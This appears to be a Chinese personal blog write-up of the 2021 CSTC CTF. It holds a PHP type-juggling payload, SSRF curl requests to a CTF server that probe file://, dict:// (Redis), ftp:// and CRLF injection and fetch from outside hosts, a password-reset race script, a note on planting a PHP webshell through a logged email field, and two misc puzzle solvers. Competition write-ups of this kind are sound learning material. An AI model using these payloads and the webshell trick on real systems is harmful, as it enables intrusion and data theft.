type
Post
status
Published
date
May 6, 2021
slug
2021/2021CSTC-ctf
summary
这次比赛打完,发现自己还是太菜了。。
虽然排名还可以 (因为有逆向大佬在。。。
web2和web3 感觉接近了,现把做出来的写上
看看后面有复现环境会复现,没有的话看下其他师傅的写写复盘。
由于web2和3实在没思路了,然后顺手解了2个简单的杂项。
tags
CTF比赛
MISC
category
比赛Writeup
icon
password
这次比赛打完,发现自己还是太菜了。。
虽然排名还可以 (因为有逆向大佬在。。。
web2和web3 感觉接近了,现把做出来的写上
看看后面有复现环境会复现,没有的话看下其他师傅的写写复盘。
由于web2和3实在没思路了,然后顺手解了2个简单的杂项。
这里要吐槽一点,为什么题目不是下发 docker 容器形式的,,这样别人如果 getshell 不就可以改代码逻辑搞破坏了吗?
easyweb
代码
<?php show_source(__FILE__); $v1=0;$v2=0;$v3=0; $a=(array)json_decode(@$_GET['foo']); if(is_array($a)){ is_numeric(@$a["bar1"])?die("nope"):NULL; if(@$a["bar1"]){ ($a["bar1"]>2021)?$v1=1:NULL; } if(is_array(@$a["bar2"])){ if(count($a["bar2"])!==5 OR !is_array($a["bar2"][0])) die("nope"); $pos = array_search("nudt", $a["a2"]); $pos===false?die("nope"):NULL; foreach($a["bar2"] as $key=>$val){ $val==="nudt"?die("nope"):NULL; } $v2=1; } } $c=@$_GET['cat']; $d=@$_GET['dog']; if(@$c[1]){ if(!strcmp($c[1],$d) && $c[1]!==$d){ eregi("3|1|c",$d.$c[0])?die("nope"):NULL; strpos(($c[0].$d), "cstc2021")?$v3=1:NULL; } } if($v1 && $v2 && $v3){ include "flag.php"; echo $flag; } ?>
bar1
和 bar2
凑一下eregi
函数可用 %00
截断,在凑一下 bar3
即可payload
http://49.232.167.183:30001/?foo={%22bar1%22:%222022a%22,%22bar2%22:[[1],2,3,4,5],%22a2%22:[%22nudt%22]}&cat[0]=%00cstc2021&cat[1][0]=1&dog=222

easyweb2
提示1:
http://49.232.167.183:30012/swagger-ui.html
提示2:
已经拿到管理员token的队伍,关注/home/index接口
登录爆破获取token

不过这个 token 无效
63a44f5fd4368923e62469611d232a02
爆破
/uid
接口
{"用户ID":"987","用户组":"系统管理员","用户名":"ctf_admin","HASH":"2773d5bd7e1a7a7eec619c6d5fbdfd3a"} {"用户ID":"101","用户组":"普通用户","用户名":"test","HASH":"098f6bcd4621d373cade4e832627b4f6"}
md 碰撞出密码得到 Token

9c618e664319512ef7db2d3c0672bee0
访问不到时,会返回
????
尝试了以下 EXP和一些变形,不过都读不到 flag,,害
curl -X GET "http://49.232.167.183:30012/home/index?url=http://xxxx/1.txt" -H "accept: */*" -H "Token: 9c618e664319512ef7db2d3c0672bee0" curl -X GET "http://49.232.167.183:30012/home/index?url=http://xxxx/t1.php" -H "accept: */*" -H "Token: 9c618e664319512ef7db2d3c0672bee0" curl -X GET "http://49.232.167.183:30012/home/index?url=dict://127.0.0.1:6379/_info%250a" -H "accept: */*" -H "Token: 9c618e664319512ef7db2d3c0672bee0" curl -X GET "http://49.232.167.183:30012/home/index?url=file:///flag" -H "accept: */*" -H "Token: 9c618e664319512ef7db2d3c0672bee0" curl -X GET "http://49.232.167.183:30012/home/index?url=%66%69%6c%65%3a%2f%2f%2f%66%6c%61%67%22" -H "accept: */*" -H "Token: 9c618e664319512ef7db2d3c0672bee0" curl -X GET "http://49.232.167.183:30012/home/index?url=http://0:30012/image/hacker.jpg" -H "accept: */*" -H "Token: 9c618e664319512ef7db2d3c0672bee0" curl -X GET "http://49.232.167.183:30012/home/index?url=http://xxx:2233/" -H "accept: */*" -H "Token: 9c618e664319512ef7db2d3c0672bee0" curl -X GET "http://49.232.167.183:30012/home/index?url=http://xxx5:2233/ HTTP/1.1\r\n\r\nGET / HTTP/1.1\r\nHost: 119.28.15.55:2233\r\n\r\nGET / HTTP/1.1\r\ntest:" -H "accept: */*" -H "Token: 9c618e664319512ef7db2d3c0672bee0" curl -X GET "http://49.232.167.183:30012/home/index?url=http://49.232.167.183:30012/" -H "accept: */*" -H "Token: 9c618e664319512ef7db2d3c0672bee0"
服务端是java来的,但感觉禁用了 file 之类的协议,,

不过不知道怎样利用,,卡在这了
2021.5.6 17:17 更新
麻了,看了别人题解
curl -X GET "http://49.232.167.183:30012/home/index?url=http://127.0.0.1/flag.txt" -H "accept: */*" -H "Token: 9c618e664319512ef7db2d3c0672bee0"
这个
flag.txt
在哪是猜的还是哪里有提示的?要是因为猜不到文件名而做不出来也太那啥了。。2021.5.6 22:03 更新
又找了个题解,发现发送请求请求 ftp 端口
curl -X GET "http://49.232.167.183:30012/home/index?url=ftp://127.0.0.1:21/" -H "accept: */*" -H "Token: 9c618e664319512ef7db2d3c0672bee0"
会返回文件信息
-rw-r--r-- 1 root root 39 Apr 30 09:56 flag.txt
然后在读取就好了….这个试起来有点小麻烦感觉, ,主要是不知道协议、IP和端口…而且题目速度访问速度贼慢,题目本身会保持连接,burp不方便fuzz,这一点感觉要找(弄)个工具
web3
目录爆破得
robots.txt
> 然后访问 PassOn
>
结合源码
reset.php
, 其实密码就是时间戳部分,sha1
哈希,取前面 20位$password = substr(hash('sha1', gmdate("l jS \of F Y h:i:s A")), 0, 20);
然后帐号和邮箱在
css/style.css
注释里
重置密码
发现登录不上。。可能压根就不是改了这个密码?
$sql = $pdo->prepare("UPDATE PassOn SET pass = :pass where id = 1");
先试试用脚本跑,因为我和别人同时在做,防止时间差
贴贴脚本
import hashlib import requests import threading flag = False user = 'Ptn4rdn' passwd = '' email = 'Ptn4rdn@gmail.com' loginUrl = 'http://49.232.3.115:49496/PassOn/login.php' resetPassUrl = 'http://49.232.3.115:49496/PassOn/reset.php' def resetPasswd(): global passwd resetData = { 'email': email, 'user': user, 'submit': 'reset' } gmdate = requests.post(loginUrl, resetData).content[-86:-49] sha1 = hashlib.sha1() sha1.update(gmdate) passwd = sha1.hexdigest()[:20] print(passwd) def login(): global flag, passwd loginData = { 'email': email, 'pass': passwd, 'submit': 'submit' } res = requests.post(resetPassUrl, loginData) if res.headers.get('Cookie', 0): flag = True print(passwd) print(res.headers) exit() while flag is False: a = threading.Thread(target=resetPasswd) b = threading.Thread(target=login) a.start() b.start()
不太行。。后面利用大概是有思路了,卡在登录这。。。
2021.5.6 22:09 更新
找了个题解,发现别人可以正常登录上去的。。不知道我哪步错了,请教一波做出来的师傅。。他也说我做的步骤没毛病,,晕了。
登录进去后就比较简单了,记录失败日志会把邮箱记录到
.php
文件里,把邮箱写成马就行。主要是这个 php
文件,记录 session
信息,如果没登录访问不了这个马。写入马后连接拿flag就好了。hackerweb
这题还没看,堵在第2和第3题了…看看有没有复现环境,主要是别人的wp不是很详细,也还没动手做。
RGB
文件为RGB三原色组合,尝试还原图片
from PIL import Image def Crack(n): flag = [] for each in range(2,int(n **0.5)+1): if(n % each == 0): print(each,int(n/each)) flag += [(each,int(n/each))] if len(flag) == 1:return flag[0] else: choice = input("选择第几组(0-%s):"%(len(flag)-1)) return flag[int(choice)] def Paint(X,Y,listrgb): pic = Image.new("RGB",(X, Y)) i=0 for x in range (0,X): for y in range (0,Y): temp = listrgb[i].split(',') pic.putpixel([x,y],(int(temp[0]),int(temp[1]),int(temp[2]))) i = i+1 pic.show() #pic.save("./flag%s.png"%(X)) listrgb = open("code.txt").readlines() X,Y = Crack(len(listrgb)) Paint(X,Y,listrgb) Paint(Y,X,listrgb)
跑一下脚本选择第 12 组,然后水平翻转一下即可。

zip
压缩包密码爆破得
ff123
readme.txt 。尝试摩斯密码和培根密码,发现是培根密码,跑跑脚本。
import re table = {'a': 'aaaaa', 'b': 'aaaab', 'c': 'aaaba', 'd': 'aaabb', 'e': 'aabaa', 'f': 'aabab', 'g': 'aabba', 'h': 'aabbb', 'i': 'abaaa', 'j': 'abaab', 'k': 'ababa', 'l': 'ababb', 'm': 'abbaa', 'n': 'abbab', 'o': 'abbba', 'p': 'abbbb', 'q': 'baaaa', 'r': 'baaab', 's': 'baaba', 't': 'baabb', 'u': 'babaa', 'v': 'babab', 'w': 'babba', 'x': 'babbb', 'y': 'bbaaa', 'z': 'bbaab'} def bacon(cipher): msg = '' codes = re.findall(r'.{5}', cipher) for code in codes: if code == '': msg += ' ' else: UNCODE = dict(map(lambda t: (t[1], t[0]), table.items())) msg += UNCODE[code] return msg if __name__ == '__main__': cipher = 'BABBBBBAAAABAAB' cipher = cipher.lower() plaintext = bacon(cipher) print(plaintext)
解出来得知 word 文档密码
xyj
